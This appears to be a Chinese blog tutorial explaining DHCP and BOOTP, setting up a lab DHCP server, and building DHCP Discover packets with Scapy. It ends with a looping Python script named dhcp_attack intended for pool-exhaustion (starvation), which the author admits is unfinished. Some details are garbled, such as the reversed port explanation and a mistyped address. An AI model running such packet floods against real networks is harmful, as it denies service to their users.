DHCP
- 动态主机设置协议(Dynamic Host Configuration Protocol,缩写:DHCP)是一个局域网的网络协议,使用UDP协议工作。
BOOTP
- BOOTP(Bootstrap Protocol,引导程序协议)是一种引导协议,基于IP/UDP协议,也称自举协议,是DHCP协议的前身。
两者关系
- DHCP 是BOOTP 的增强版本都是基于TCP/IP协议的协议。BOOTP只用于无盘工作站,DHCP 即可用于无盘站也可用于一般的网络应用。
DHCP常见options类型
options号 | options作用 |
---|---|
1 | 设置子网掩码选项。 |
3 | 设置网关地址选项。 |
6 | 设置DNS服务器地址选项。 |
50 | 设置请求IP选项。 |
52 | 设置Option附加选项。 |
53 | 设置DHCP消息类型。 |
BOOTP报文字段
op:操作码/消息类型,取值为1或2:
- 1= BOOTREQUEST (引导请求)
- 2 = BOOTREPLY (引导应答)
xid: 事务ID,一个随机数,用来匹配引用请求和应答。
Chaddr: Client hardware address,客户端硬件地址,由客户端填写。
option:选项字段
-
关闭自己家中路由器的dhcp服务
-
使用windows server2008 搭建本次学习所使用的dhcp服务器
1. 搭建dhcp服务器首先需要做的就是将自己的ip地址设置为静态
2.打开服务器管理器添加角色
3.勾选dhcp服务,下一步
4.这里可以看到一个要求就是必须在此计算机设置一个静态ip地址,前面设置过了,下一步
5.将此静态ip地址作为dhcp服务器的地址
6.dns服务器地址自己看看着来填,填完可以点右边验证一下是否可用
7.这里选择不需要,然后下一步
8.添加一个作用域,名字随便范围给了200-250,网关为当前所在网关,下一步
9.这里选择禁用ipv6,下一步
10.确认无误,开始安装
安装完成后打开虚拟机win7,尝试自动获取地址
获取到的地址就是dhcp地址池的范围,打开dhcp服务器查看地址池租用,可以看到192.168.3203这个地址正在租用,也就说明服务器搭建完成
分析下图dhcp请求包,来获取后续需要的参数
- dhcp服务器:192.168.3.51
- dhcp地址池:192.168.3.200-250
从图中得知一个完成的DHCP Discover数据包是由Ether/IP/UDP/DHCP构成的
链路层Ether:
Src:本机mac地址
Dst:ff:ff:ff:ff:ff:ff:ff:ff 即为广播地址
网络层IP:
Src:0.0.0.0*
Dst:255.255.255.255
IP层只是将上一层的mac地址转换成ip地址
传输层UDP:
Src port:67
Dst port:68
67/68端口分别是为bootp服务开放的端口,通常用来请求ip,dhcp服务使用67端口作为源端口,68端口作为目的端口来广播信息
应用层DHCP:
client address:本机mac地址
xid :随机值
options:53 Discover
得到所有参数后打开scapy测试是否可行
dhcp_attack = (Ether()/IP()/UDP()/BOOTP()/DHCP())
dhcp_attack[Ether].src = RandMAC() #给Ether的src设置随机mac
dhcp_attack[Ether].dst = 'ff:ff:ff:ff:ff:ff' #给Ether的dst设置为广播
dhcp_attack[IP].src = '0.0.0.0'
dhcp_attack[IP].dst = '255.255.255.255'
dhcp_attack[UDP].sport = 68
dhcp_attack[UDP].dport = 67
dhcp_attack[BOOTP].chaddr = RandMAC() #给BOOTP协议中的chaddr字段设置随机mac
dhcp_attack[BOOTP].xid = 14513 #xid为随机值,随便给
dhcp_attack[BOOTP].flags = 0x8000
dhcp_attack[DHCP].options = [('message-type','discover')] #给DHCP协议的options设置为discover
> Dhcp_attack.show() #确认参数是否无误
> 打开wireshare在后台抓包
> sendp(dhcp_attack) #没有问题后就发送数据包
> Wireshare筛选栏为 dhcp and ip.dst eq 255.255.255.255
就可以看到刚刚发送的数据包了,且第二个还包含的dhcp服务器返回的ip地址
用python达到自动构建发送dhcp_discover数据包的功能
#!/usr/bin/python
from scapy.all import *
import random
def dhcp_attack():
random_xid = random.randint(1,1000000)
random_mac = str(RandMAC())
i = 1
while i > 0 :
dhcp_attack = (Ether()/IP()/UDP()/BOOTP()/DHCP())
dhcp_attack[Ether].src = random_mac
dhcp_attack[Ether].dst = 'ff:ff:ff:ff:ff:ff'
dhcp_attack[IP].src = '0.0.0.0'
dhcp_attack[IP].dst = '255.255.255.255'
dhcp_attack[UDP].sport = 68
dhcp_attack[UDP].dport = 67
dhcp_attack[BOOTP].chaddr = random_mac
dhcp_attack[BOOTP].xid = random_xid
dhcp_attack[BOOTP].flags = 0x8000
dhcp_attack[DHCP].options = [('message-type','discover')]
try:
sendp(dhcp_attack,verbose=0)
i += 1
print ("sending dhcp_discover packet:%s , Ctrl + Z stop"%i)
except:
print ("sending error")
dhcp_attack()
运行效果
本是想写一个dhcp攻击的过程的,将dhcp地址池的地址全部占用。
一次完整的dhcp过程包括,请求,响应,确认,
但折腾了一天也写不出确认包,没有确认包就无法拿到服务器分配的地址,先放着把,等有头绪再写。